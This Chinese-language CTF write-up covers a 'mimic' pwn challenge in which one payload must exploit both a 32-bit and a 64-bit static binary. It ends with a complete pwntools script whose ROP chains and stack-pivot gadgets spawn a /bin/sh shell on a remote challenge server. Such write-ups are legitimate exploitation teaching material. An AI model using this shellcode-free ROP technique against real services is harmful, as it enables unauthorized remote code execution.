给了两个二进制文件,我还以为是不同题目,查了资料才知道这是拟态题目,简单来说就是一个payload要打通两个文件
    32位的文件
    image.png
    64位
    image.png
    两个文件都是静态链接的不是动态链接的,如果单个来说,直接ropchain搞定好吧
    但是呢这里不行32位与64位函数调用了完全不一样怎么能打通呢?
    好在64位程序这里多了0x8的溢出,这个溢出就能解决很多问题
    我们只要控制程序的esp与rsp就能使两个程序按我们想要的来
    image.png
    image.png
    只要合理布局就行。
    但是还有个问题,payload不能太长,所以我们要进行修剪
    NS4]KV3~S0L4W%47IY{PC7W.png
    这就是eax加了0xb只要变成pop eax ,0xb
    两个程序怎么判断还有个条件就是输出是否一样,因为最后有puts函数所以我们要在合适的地方加上”\x00”进行截断

    1. #coding=utf8
    2. from pwn import *
    3. from LibcSearcher import*
    4. from struct import pack
    5. context.log_level = 'debug'
    6. #context.arch='amd64'
    7. io = process("./pwn")
    8. io = remote("node4.buuoj.cn",28741)
    9. def load():
    10. p = ""
    11. p += pack('<I', 0x0806e9cb) # pop edx ; ret
    12. p += pack('<I', 0x080d9060) # @ .data
    13. p += pack('<I', 0x080a8af6) # pop eax ; ret
    14. p += '/bin'
    15. p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
    16. p += pack('<I', 0x0806e9cb) # pop edx ; ret
    17. p += pack('<I', 0x080d9064) # @ .data + 4
    18. p += pack('<I', 0x080a8af6) # pop eax ; ret
    19. p += '//sh'
    20. p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
    21. p += pack('<I', 0x0806e9cb) # pop edx ; ret
    22. p += pack('<I', 0x080d9068) # @ .data + 8
    23. p += pack('<I', 0x08056040) # xor eax, eax ; ret
    24. p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
    25. p += pack('<I', 0x080481c9) # pop ebx ; ret
    26. p += pack('<I', 0x080d9060) # @ .data
    27. p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
    28. p += pack('<I', 0x080d9068) # @ .data + 8
    29. p += pack('<I', 0x080d9060) # padding without overwrite ebx
    30. p += pack('<I', 0x0806e9cb) # pop edx ; ret
    31. p += pack('<I', 0x080d9068) # @ .data + 8
    32. p += pack('<I', 0x08056040) # xor eax, eax ; ret
    33. p += pack('<I', 0x080a8af6) #pop eax ;ret
    34. p += p32(0xb)
    35. p += pack('<I', 0x080495a3) # int 0x80
    36. return p
    37. payload32 = load()
    38. def load64():
    39. p = ''
    40. p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
    41. p += pack('<Q', 0x00000000006a10e0) # @ .data
    42. p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
    43. p += '/bin//sh'
    44. p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
    45. p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
    46. p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
    47. p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
    48. p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
    49. p += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
    50. p += pack('<Q', 0x00000000006a10e0) # @ .data
    51. p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
    52. p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
    53. p += pack('<Q', 0x000000000043b9d5) # pop rdx ; ret
    54. p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
    55. p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
    56. p += pack("<Q", 0x000000000043b97c) # pop rax ;ret
    57. p +=p64(0x3b)
    58. p += pack('<Q', 0x00000000004011dc) # syscall
    59. return p
    60. payload64 = load64()
    61. gadget32 = 0x080a8f69 #add esp, 0xc ; ret
    62. gadget64 = 0x00000000004079d4 #add rsp, 0xd8 ; ret
    63. payload = b"aaa".ljust(272,b"\x00") + p64(gadget32)+p64(gadget64)+payload32.ljust(0xd8,b"\x00")+payload64
    64. io.sendline(payload)
    65. io.interactive()